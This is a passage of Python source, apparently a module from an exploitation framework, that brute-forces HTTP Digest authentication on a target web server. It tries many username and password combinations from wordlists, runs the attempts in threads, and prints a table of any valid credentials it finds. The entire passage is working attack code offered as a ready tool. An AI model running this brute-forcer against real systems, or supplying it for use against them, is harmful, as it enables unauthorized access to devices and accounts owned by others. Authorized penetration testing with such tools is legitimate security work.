    port = Option(80, 'Target port')

    threads = Option(8, 'Numbers of threads')
    usernames = Option('admin', 'Username or file with usernames (file://)')
    passwords = Option(Wordlists.passwords,
                       'Password or file with passwords (file://)')
    path = Option('/', 'URL Path')
    verbosity = Option(True,
                       'Display authentication attempts',
                       validators=Validators.boolify)
    stop_on_success = Option(True,
                             'Stop on first valid authentication attempt',
                             validators=Validators.boolify)

    def run(self):
        self.credentials = []
        self.attack()

    @multi
    def attack(self):
        url = "{}:{}{}".format(self.target, self.port, self.path)

        response = http_request(method="GET", url=url)
        if response is None:
            return

        if response.status_code != 401:
            print_status("Target is not protected by Digest Auth")
            return

        if self.usernames.startswith('file://'):
            usernames = open(self.usernames[7:], 'r')
        else:
            usernames = [self.usernames]

        if self.passwords.startswith('file://'):
            passwords = open(self.passwords[7:], 'r')
        else:
            passwords = [self.passwords]

        collection = itertools.product(usernames, passwords)

        with Threads.ThreadPoolExecutor(self.threads) as executor:
            for record in collection:
                executor.submit(self.target_function, url, record)

        if self.credentials:
            print_success("Credentials found!")
            headers = ("Target", "Port", "Login", "Password")
            printTable(headers, *self.credentials)
        else:
            print_error("Credentials not found")

    def target_function(self, url, creds):
        name = threading.current_thread().name
        user, password = creds
        user = user.encode('utf-8').strip()
        password = password.encode('utf-8').strip()

        response = http_request(method="GET",
                                url=url,
                                auth=HTTPDigestAuth(user, password))

        if response is not None and response.status_code != 401:
            print_success(
                "Target: {}:{} {}: Authentication Succeed - Username: '******' Password: '******'"
                .format(self.target, self.port, name, user, password),
                verbose=self.verbosity)
            self.credentials.append((self.target, self.port, user, password))
            if self.stop_on_success:
                raise Threads.StopThreadPoolExecutor
        else:
            print_error(
                "Target: {}:{} {}: Authentication Failed - Username: '******' Password: '******'"
                .format(self.target, self.port, name, user, password),
                verbose=self.verbosity)